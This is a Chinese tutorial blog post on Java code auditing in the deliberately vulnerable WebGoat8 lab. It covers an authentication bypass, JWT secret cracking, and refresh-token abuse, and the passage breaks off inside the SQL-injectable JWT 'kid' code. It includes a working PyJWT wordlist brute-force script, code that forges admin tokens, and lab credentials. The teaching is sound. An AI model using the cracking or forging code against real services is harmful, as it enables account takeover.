Java代码审计入门:WebGoat8(再会)
作者:admin | 时间:2019-10-27 14:07:32 | 分类:黑客技术 隐藏侧边栏展开侧边栏
WebGoat8系列文章:前情回顾
数字观星 Jack Chan(Saturn),再会篇为Java代码审计入门:WebGoat8系列的第二篇,意为与WebGoat8再次相会。本篇我们将一起看看WebGoat8中的Authentication Bypasses和JWT相关安全问题。
Authentication Bypasses 认证绕过
这节课程首先给了我们一个2016年的PayPal双因子密码重置的漏洞:攻击者通过去掉安全问题验证报文中的两个安全问题,结果通过了验证,从而达到了身份认证绕过。
看完真实案例后,我们的随堂作业是要绕过一个相似的密码重置功能。这个时候,很容易就会尝试运用刚刚学会的姿势,截包将两个安全问题删除,发包。然后就收到:Not quite, please try again.
很真实,应验了那句话:老师教的和案例展示的都不会考。
从刚刚截包中获取路径“/auth-bypass/verify-account”,全局去搜索,追踪到相关代码:
VerifyAccount.java
package org.owasp.webgoat.plugin; import com.google.common.collect.Lists; import org.jcodings.util.Hash; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.session.UserSessionData; import org.owasp.webgoat.session.WebSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.util.Collections; import java.util.HashMap; import java.util.List; import java.util.Map; /**
* Created by jason on 1/5/17.
*/ @AssignmentPath("/auth-bypass/verify-account") @AssignmentHints({"auth-bypass.hints.verify.1", "auth-bypass.hints.verify.2", "auth-bypass.hints.verify.3", "auth-bypass.hints.verify.4"}) public class VerifyAccount extends AssignmentEndpoint { @Autowired private WebSession webSession; @Autowired UserSessionData userSessionData; @PostMapping(produces = {"application/json"}) @ResponseBody public AttackResult completed(@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) throws ServletException, IOException {
AccountVerificationHelper verificationHelper = new AccountVerificationHelper();
Map<String,String> submittedAnswers = parseSecQuestions(req); //进行作弊检测 if (verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)) { return trackProgress(failed()
.feedback("verify-account.cheated")
.output("Yes, you guessed correcctly,but see the feedback message")
.build());
} // else //进行账号验证 if (verificationHelper.verifyAccount(new Integer(userId),(HashMap)submittedAnswers)) {
userSessionData.setValue("account-verified-id", userId); return trackProgress(success()
.feedback("verify-account.success")
.build());
} else { return trackProgress(failed()
.feedback("verify-account.failed")
.build());
}
} //安全问题解析,将包含“secQuestion”的参数名及对应参数存放在userAnswers(类型为Map)中。 private HashMap<String,String> parseSecQuestions (HttpServletRequest req) {
Map <String,String> userAnswers = new HashMap<>();
List<String> paramNames = Collections.list(req.getParameterNames()); for (String paramName : paramNames) { //String paramName = req.getParameterNames().nextElement(); if (paramName.contains("secQuestion")) {
userAnswers.put(paramName,req.getParameter(paramName));
}
} return (HashMap)userAnswers;
}
}
其中主要用到:
AccountVerificationHelper.java
package org.owasp.webgoat.plugin;
import org.jcodings.util.Hash;
import org.owasp.webgoat.session.UserSessionData;
import org.springframework.beans.factory.annotation.Autowired;
import java.util.HashMap;
import java.util.Map; /**
* Created by appsec on 7/18/17.
*/ public class AccountVerificationHelper { //simulating database storage of verification credentials private static final Integer verifyUserId = new Integer(1223445); private static final Map<String,String> userSecQuestions = new HashMap<>(); static {
userSecQuestions.put("secQuestion0","Dr. Watson");
userSecQuestions.put("secQuestion1","Baker Street");
} private static final Map<Integer,Map> secQuestionStore = new HashMap<>(); static {
secQuestionStore.put(verifyUserId,userSecQuestions);
} // end 'data store set up' // this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code public boolean didUserLikelylCheat(HashMap<String,String> submittedAnswers) {
boolean likely = false; if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
likely = true;
} if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) &&
(submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) ) {
likely = true;
} else {
likely = false;
} return likely;
} //end of cheating check ... the method below is the one of real interest. Can you find the flaw? public boolean verifyAccount(Integer userId, HashMap<String,String> submittedQuestions ) { //short circuit if no questions are submitted if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) { return false;
} if (submittedQuestions.containsKey("secQuestion0") && !submittedQuestions.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) { return false;
} if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) { return false;
} // else return true;
}
}
verifyAccount流程如下:
//安全问题解析,将包含“secQuestion”的参数名及对应参数存放在userAnswers(类型为Map)中。
parseSecQuestions
如果paramName.contains(“secQuestion”)参数名包含”secQuestion”,则将参数名作为userAnswers的key,参数值作为value存入。
//作弊检测,检测请求的验证是否有作弊,有则不通过检验
verificationHelper.didUserLikelylCheat((HashMap)submittedAnswers)
1.请求中的secQuestion数目等于系统内虚拟的secQuestion数目(2条),则为作弊。
2.请求中含有secQuestion0和secQuestion1参数及其值各自等于系统中的对应问题答案。(即回答出正确答案),是作弊。
verificationHelper.verifyAccount(new Integer(userId),(HashMap)submittedAnswers)
1.如果请求报文的安全问题条数不等于系统虚拟的安全问题条数,则返回失败。
2.如果请求报文的安全问题有secQuestion0且答案错误,则返回失败。
3.如果请求报文的安全问题有secQuestion1且答案错误,则返回失败。
4.前面的条件都通过,返回成功。
分析:
从流程可以知道,我们想要绕过认证,需要在请求中发送安全问题(含“secQuestion”字符串即为安全问题)条数等于系统虚拟的安全问题条数(2条),回答出secQuestion0和secQuestion1算作弊,回答不出算失败。那么我们构造含
“secQuestion”字符串但并不是secQuestion0和secQuestion1的参数2个,就可以绕过这些检测了。

总结:
黑盒测试时,可尝试删除安全问题等方式绕过认证。
JWT
JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑的、自包含的方式,用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任,因为它是数字签名的。
一条JWT是被base64编码过的,包含了三段,头部,声明(也称payload),签名。中间以“.”间隔。
我们可以将一条JWT拿到https://jwt.io/#debugger去解码一下。JWT:
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk4MDk1MDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ.lHBU1BzLM9_GB6qfcSljmCreLyNytlv5aGIx2QKZBHva1Y1XB9LST7lE3UcbGTToUKoMNIxkqcCdaX-J7yDyHQ
HEADER中是使用的算法HS512(HMACSHA512512),PAYLOAD中承载了自定义信息,SIGNATURE是将header,payload,以及密钥使用HMACSHA512算法计算得出签名。
所以payload中不应该存放诸如密码等敏感信息,传递JWT应使用安全的通信协议,以防被窃取。
到了看代码的时候了,追踪“/JWT/votings”:
package org.owasp.webgoat.plugin; import com.google.common.collect.Maps; import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwt; import io.jsonwebtoken.JwtException; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.impl.TextCodec; import org.apache.commons.lang3.StringUtils; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.plugin.votes.Views; import org.owasp.webgoat.plugin.votes.Vote; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.http.converter.json.MappingJacksonValue; import org.springframework.web.bind.annotation.*; import javax.annotation.PostConstruct; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletResponse; import java.time.Duration; import java.time.Instant; import java.util.Date; import java.util.Map; import static java.util.Comparator.comparingLong; import static java.util.Optional.ofNullable; import static java.util.stream.Collectors.toList; /**
* @author nbaars
* @since 4/23/17.
*/ @AssignmentPath("/JWT/votings") @AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"}) public class JWTVotesEndpoint extends AssignmentEndpoint { public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory"); private static String validUsers = "TomJerrySylvester"; private static int totalVotes = 38929; private Map<String, Vote> votes = Maps.newHashMap(); @PostConstruct public void initVotes() {
votes.put("Admin lost password", new Vote("Admin lost password", "In this challenge you will need to help the admin and find the password in order to login", "challenge1-small.png", "challenge1.png", 36000, totalVotes));
votes.put("Vote for your favourite", new Vote("Vote for your favourite", "In this challenge ...", "challenge5-small.png", "challenge5.png", 30000, totalVotes));
votes.put("Get it for free", new Vote("Get it for free", "The objective for this challenge is to buy a Samsung phone for free.", "challenge2-small.png", "challenge2.png", 20000, totalVotes));
votes.put("Photo comments", new Vote("Photo comments", "n this challenge you can comment on the photo you will need to find the flag somewhere.", "challenge3-small.png", "challenge3.png", 10000, totalVotes));
} @GetMapping("/login") public void login(@RequestParam("user") String user, HttpServletResponse response) { if (validUsers.contains(user)) {
Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));
claims.put("admin", "false");
claims.put("user", user);
String token = Jwts.builder()
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
.compact();
Cookie cookie = new Cookie("access_token", token);
response.addCookie(cookie);
response.setStatus(HttpStatus.OK.value());
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
} else {
Cookie cookie = new Cookie("access_token", "");
response.addCookie(cookie);
response.setStatus(HttpStatus.UNAUTHORIZED.value());
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
}
} @GetMapping @ResponseBody public MappingJacksonValue getVotes(@CookieValue(value = "access_token", required = false) String accessToken) {
MappingJacksonValue value = new MappingJacksonValue(votes.values().stream().sorted(comparingLong(Vote::getAverage).reversed()).collect(toList())); if (StringUtils.isEmpty(accessToken)) {
value.setSerializationView(Views.GuestView.class);
} else { try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user"); if ("Guest".equals(user) || !validUsers.contains(user)) {
value.setSerializationView(Views.GuestView.class);
} else {
value.setSerializationView(Views.UserView.class);
}
} catch (JwtException e) {
value.setSerializationView(Views.GuestView.class);
}
} return value;
} @PostMapping(value = "{title}") @ResponseBody @ResponseStatus(HttpStatus.ACCEPTED) public ResponseEntity<?> vote(@PathVariable String title, @CookieValue(value = "access_token", required = false) String accessToken) { if (StringUtils.isEmpty(accessToken)) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else { try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody();
String user = (String) claims.get("user"); if (!validUsers.contains(user)) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else {
ofNullable(votes.get(title)).ifPresent(v -> v.incrementNumberOfVotes(totalVotes)); return ResponseEntity.accepted().build();
}
} catch (JwtException e) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
}
} @PostMapping("reset") public @ResponseBody AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) { if (StringUtils.isEmpty(accessToken)) { return trackProgress(failed().feedback("jwt-invalid-token").build());
} else { try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody(); boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); if (!isAdmin) { return trackProgress(failed().feedback("jwt-only-admin").build());
} else {
votes.values().forEach(vote -> vote.reset()); return trackProgress(success().build());
}
} catch (JwtException e) { return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
}
}
}
}
关注以下代码块,我们可以看到生成及颁发JWT的过程。
@GetMapping("/login") public void login(@RequestParam("user") String user, HttpServletResponse response) { if (validUsers.contains(user)) {
Claims claims = Jwts.claims().setIssuedAt(Date.from(Instant.now().plus(Duration.ofDays(10))));
claims.put("admin", "false");
claims.put("user", user);
String token = Jwts.builder()
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
.compact();
Cookie cookie = new Cookie("access_token", token);
response.addCookie(cookie);
response.setStatus(HttpStatus.OK.value());
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
} else {
Cookie cookie = new Cookie("access_token", "");
response.addCookie(cookie);
response.setStatus(HttpStatus.UNAUTHORIZED.value());
response.setContentType(MediaType.APPLICATION_JSON_VALUE);
}
}
然后看到随堂作业中要重置投票的相关代码块。我们可以看到这一句:Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);使用签名密钥去解析了请求过来的JWT,获取claims中的admin参数的值,通过这个值来确认是否admin权限。
思路:获取密钥,使用https://jwt.io/#debugger或Java或python篡改JWT中admin参数为true。
问题也随之而来,如何获取密钥?当然我们可以通过代码直接找到JWT_PASSWORD的值,但是这样的话,这道随堂作业就没什么味道了,所以我们再自己加一道题中题:JWT弱密钥爆破。
@PostMapping("reset") public @ResponseBody AttackResult resetVotes(@CookieValue(value = "access_token", required = false) String accessToken) { if (StringUtils.isEmpty(accessToken)) { return trackProgress(failed().feedback("jwt-invalid-token").build());
} else { try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);
Claims claims = (Claims) jwt.getBody(); boolean isAdmin = Boolean.valueOf((String) claims.get("admin")); if (!isAdmin) { return trackProgress(failed().feedback("jwt-only-admin").build());
} else {
votes.values().forEach(vote -> vote.reset()); return trackProgress(success().build());
}
} catch (JwtException e) { return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
}
}
}
题中题:JWT弱密钥爆破
这一题的解题思路引用@yangyangwithgnu发表的文章 全程带阻:记一次授权网络攻防演练(上)中,利用PyJWT编写脚本爆破JWT弱密码。脚本逻辑
1.若签名直接校验成功(原文为失败,猜测为作者手误),则 key_ 为有效密钥;
2.若因数据部分预定义字段错误(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError)导致校验失败,说明并非密钥错误导致,则 key_ 也为有效密钥;
3.若因密钥错误(jwt.exceptions.InvalidSignatureError)导致校验失败,则 key_ 为无效密钥;
4.若为其他原因(如,JWT 字符串格式错误)导致校验失败,根本无法验证当前 key_ 是否有效。
利用脚本可爆出JWT弱密钥为:victory
脚本如下:
JWT_crack.py
//import jwt 需要安装依赖包PyJWT
import jwt import termcolor if __name__ == "__main__":
jwt_str = R'eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1Njk3MjI2NDQsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.Y2WgbXt9wjv4p4BdM_tA9f05sG-_n1ugojijOZMXx2_Gld_Ip4dOazj9K3iWVC68W_7_HEyu2_c0qSjtqDC0Vg' with open('/YOUR-PATH/Top1000.txt') as f: for line in f:
key_ = line.strip() try:
jwt.decode(jwt_str, verify=True, key=key_)
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except (jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('\r', '\bbingo! found key -->', termcolor.colored(key_, 'green'), '<--') break except jwt.exceptions.InvalidSignatureError:
print('\r', ' ' * 64, '\r\btry', key_, end='', flush=True) continue else:
print('\r', '\bsorry! no key be found.')
使用爆破出来的密钥:victory和https://jwt.io/#debugger篡改JWT中admin参数为true获得篡改后的JWT。
也可以使用python3 的PyJWT去获得JWT
import jwt # payload token_dict = { "iat": 1570415291, "admin": "true", "user": "Tom" }
key = "victory" # headers headers = { "typ": "JWT", "alg": "HS512" } # 调用jwt库,生成json web token jwt_token = jwt.encode(token_dict, # payload, 有效载体 key,
algorithm="HS512",# 指明签名算法方式, 默认是HS256,需要与headers中"alg"保持一致。 headers=headers # json web token 数据结构包含两部分, payload(有效载体), headers(标头) )
print("jwt_token")
print(jwt_token)
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NzA0MTUyOTEsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.2uqgOomtrYjU9h2gYFkzTxh_coX0dcuiONhiEZN**Y_VCu7k8imLxOBer0Ws5qnC0X3e56eEVKVIqVGz8OZvZQ
也可以使用Java:
import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.impl.TextCodec; public class baseencodeJWTcryptotest { public static String JWT_PASSWORD = TextCodec.BASE64.encode("victory"); public static void createJWTToken() {
Claims claims = Jwts.claims();
claims.put("iat", 1570415291);
claims.put("admin", "True");
claims.put("user", "Tom");
String token = Jwts.builder().setClaims(claims).setHeaderParam("typ", "JWT")
.setHeaderParam("alg","HS512")
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).compact();
System.out.println(token);
} public static void main(String[] args) {
baseencodeJWTcryptotest.createJWTToken();
}
}
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NzA0MTUyOTEsImFkbWluIjoiVHJ1ZSIsInVzZXIiOiJUb20ifQ.cQTTGQK75NUnzi8tN1xHeQNXjVmqlH3U_9ynyccCZjUogTM7A5GV7V570LXIuvPgbSPfEAjpOqxL8woWXHrCIg
使用篡改的JWT,发送reset报文。
“congratulations”,成功了。
jwt.io:
python:
Java:
总结:
开发人员不应在JWT中暴露敏感信息,可使用工具将截获的JWT解析查看是否包含敏感信息。
JWT弱口令爆破可以离线进行。
JWT的安全性非常依赖密钥的长度及复杂度,建议密钥设置为32位及以上长度的随机字符。
Refreshing a token
就如同session会有存活时长一样,JWT的access_token也是有相类似的机制。session失活后,系统会要求用户再次身份验证,通过则重新颁发session;JWT则可使用refresh token去刷新access token而无需再次身份验证。
登陆获取 access token, refresh token
WebGoat中提到:
应在服务器端存储足够的信息,以验证用户是否仍然受信任。您可以考虑的事情有很多,比如存储IP地址,跟踪使用refresh token的次数(在access token的有效时间窗口中多次使用刷新令牌可能表示奇怪的行为,您可以撤销所有token,让用户再次进行身份验证)。还要跟踪哪个access token属于哪个refresh token,否则攻击者可能会使用攻击者的refresh token为其他用户获取新的access token,请参阅https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation,还可以检查用户的IP地址或地理位置。如果需要发出一个新的令牌,请检查位置是否仍然相同,如果不同,则撤销所有令牌,并让用户再次进行身份验证。
这段话中关键信息是,服务器中可能存在:未校验access token和refresh token是否属于同一个用户,导致A用户可使用自己的refresh token去刷新B用户的access token。
WebGoat对于使用JWT的建议:
使用jwt令牌的最佳位置是服务器之间的通信。在普通的web应用程序中,最好使用普通的旧cookies。
随堂作业:
Refreshing a token
题目:查看日志文件,找到让Tom为这些书买单的方法。
日志文件:
194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/checkout?token=eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q HTTP/1.1" 401 242 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" 194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 200 12783 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" 194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" 194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" 195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-"
可以看到有一条token,和一些与refresh相关的url信息。拿token去https://jwt.io/#debugger,可以看到:
是属于Tom,exp的时间是2018年(已过期)。
使用logfile中的token直接checkout,返回已过期提示。(Authorization头根据源码构造,Bearer 可加可不加。 )
代码:JWTRefreshEndpoint.java
package org.owasp.webgoat.plugin; import com.google.common.collect.Lists; import com.google.common.collect.Maps; import io.jsonwebtoken.*; import org.apache.commons.lang3.RandomStringUtils; import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.session.WebSession; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestHeader; import org.springframework.web.bind.annotation.ResponseBody; import java.util.Date; import java.util.List; import java.util.Map; import java.util.concurrent.TimeUnit; /**
* @author nbaars
* @since 4/23/17.
*/ @AssignmentPath("/JWT/refresh/")
@AssignmentHints({"jwt-refresh-hint1", "jwt-refresh-hint2", "jwt-refresh-hint3", "jwt-refresh-hint4"})
public class JWTRefreshEndpoint extends AssignmentEndpoint {
public static final String PASSWORD = "bm5nhSkxCXZkKRy4";
private static final String JWT_PASSWORD = "bm5n3SkxCX4kKRy4";
private static final List<String> validRefreshTokens = Lists.newArrayList(); //登陆模块 @PostMapping(value = "login", consumes = MediaType.APPLICATION_JSON_VALUE, produces = MediaType.APPLICATION_JSON_VALUE)
public @ResponseBody
ResponseEntity follow(@RequestBody Map<String, Object> json) { String user = (String) json.get("user"); String password = (String) json.get("password"); //验证用户名Jerry和秘密 if ("Jerry".equals(user) && PASSWORD.equals(password)) { //通过则颁发token return ResponseEntity.ok(createNewTokens(user));
} return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} //创建token模块 private Map<String, Object> createNewTokens(String user) { Map<String, Object> claims = Maps.newHashMap();
claims.put("admin", "false");
claims.put("user", user); String token = Jwts.builder()
.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))
.setClaims(claims)
.signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)
.compact(); Map<String, Object> tokenJson = Maps.newHashMap(); String refreshToken = RandomStringUtils.randomAlphabetic(20);
validRefreshTokens.add(refreshToken);
tokenJson.put("access_token", token);
tokenJson.put("refresh_token", refreshToken); return tokenJson;
} //checkout模块 @PostMapping("checkout")
public @ResponseBody
AttackResult checkout(@RequestHeader("Authorization") String token) { try {
Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
Claims claims = (Claims) jwt.getBody(); String user = (String) claims.get("user"); if ("Tom".equals(user)) { return trackProgress(success().build());
} return trackProgress(failed().feedback("jwt-refresh-not-tom").feedbackArgs(user).build());
} catch (ExpiredJwtException e) { return trackProgress(failed().output(e.getMessage()).build());
} catch (JwtException e) { return trackProgress(failed().feedback("jwt-invalid-token").build());
}
} //刷新 token @PostMapping("newToken")
public @ResponseBody
ResponseEntity newToken(@RequestHeader("Authorization") String token, @RequestBody Map<String, Object> json) { String user; String refreshToken; try {
Jwt<Header, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
user = (String) jwt.getBody().get("user");
refreshToken = (String) json.get("refresh_token");
} catch (ExpiredJwtException e) {
user = (String) e.getClaims().get("user");
refreshToken = (String) json.get("refresh_token");
} //仅校验是否存在user和refreshToken,未校验两者对应关系,存在漏洞 if (user == null || refreshToken == null) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else if (validRefreshTokens.contains(refreshToken)) {
validRefreshTokens.remove(refreshToken); return ResponseEntity.ok(createNewTokens(user));
} else { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
}
}
存在问题的代码块:
仅校验是否存在user和refreshToken,未校验两者对应关系,导致漏洞产生。
//刷新 token @PostMapping("newToken")
public @ResponseBody
ResponseEntity newToken(@RequestHeader("Authorization") String token, @RequestBody Map<String, Object> json) { String user; String refreshToken; try {
Jwt<Header, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace("Bearer ", ""));
user = (String) jwt.getBody().get("user");
refreshToken = (String) json.get("refresh_token");
} catch (ExpiredJwtException e) {
user = (String) e.getClaims().get("user");
refreshToken = (String) json.get("refresh_token");
} //仅校验是否存在user和refreshToken,未校验两者对应关系,存在漏洞 if (user == null || refreshToken == null) { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
} else if (validRefreshTokens.contains(refreshToken)) {
validRefreshTokens.remove(refreshToken); //返回JWT user的新token return ResponseEntity.ok(createNewTokens(user));
} else { return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();
}
}
思路:
从logfile中获取到Tom到过期JWT
利用账号密码:Jerry/bm5nhSkxCXZkKRy4 拿到Jerry账号的refresh token
利用Jerry的refresh token 和Tom的过期access token去刷新一下
拿到刷新后的token 结账
从logfile中获取到Tom到过期JWT
利用账号密码:Jerry/bm5nhSkxCXZkKRy4 拿到refresh token
账号密码从源码中可得
利用Jerry的refresh token和Tom的过期access token 去刷新。
拿到刷新后的access_token 结账
总结:
当使用refresh_token机制时,服务器端存储足够的信息,以验证用户是否仍然受信任。(存储IP地址,跟踪使用refresh token的次数及是否在access_token过期后使用等等的信息)
当存在JWT泄漏和越权刷新JWT漏洞时,将会是个灾难。
Final challenges
接下来,我们看到Tom and Jerry,我们是Jerry的账号,想把Tom的账号删掉。
点击Tom下方的Delete,截取报文:
POST /WebGoat/JWT/final/delete?token=eyJ0eXAiOiJKV1QiLCJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5QHdlYmdvYXQuY29tIiwiU**sZSI6WyJDYXQiXX0.CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Connection: close Referer: http://127.0.0.1:8080/WebGoat/start.mvc Cookie: JSESSIONID=IdCcPJUZYU_2PTrz3wiXbJkNfyoJktHX2tbNhiab; JSESSIONID.3f016d14=node01p93mn1law5to1bzrhlqsjmjcz4.node0; screenResolution=1680x1050 Content-Length: 0
将token丢到https://jwt.io/#debugger解析一下:
原始JWT parser后:
header
{ "typ": "JWT",
** "kid": "webgoat_key",** "alg": "HS256" }
payload
{ "iss": "WebGoat Token Builder", "iat": 1524210904, "exp": 1618905304, "aud": "webgoat.org", "sub": "jerry@webgoat.com",
** "username": "Jerry",** "Email": "jerry@webgoat.com", "Role": [ "Cat" ]
}
查看代码:
@AssignmentPath("/JWT/final") @AssignmentHints({"jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6"}) public class JWTFinalEndpoint extends AssignmentEndpoint { @Autowired private WebSession webSession; @PostMapping("follow/{user}") public @ResponseBody String follow(@PathVariable("user") String user) { if ("Jerry".equals(user)) { return "Following yourself seems redundant";
} else { return "You are now following Tom";
}
} @PostMapping("delete") public @ResponseBody AttackResult resetVotes(@RequestParam("token") String token) { if (StringUtils.isEmpty(token)) { return trackProgress(failed().feedback("jwt-invalid-token").build());
} else { try { final String[] errorMessage = {null};
Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() { @Override public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) { final String kid = (String) header.get("kid"); try {
Connection connection = DatabaseUtilities.getConnection(webSession);
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'"); while (rs.next()) { return TextCodec.BASE64.decode(rs.getString(1));
}
} catch (SQLException e) {
errorMessage[0] = e.getMessage();
} return null;
}
}).parseClaimsJws(token); if (errorMessage[0] != null) { return trackProgress(failed().output(errorMessage[0]).build());
}
Claims claims = (Claims) jwt.getBody();
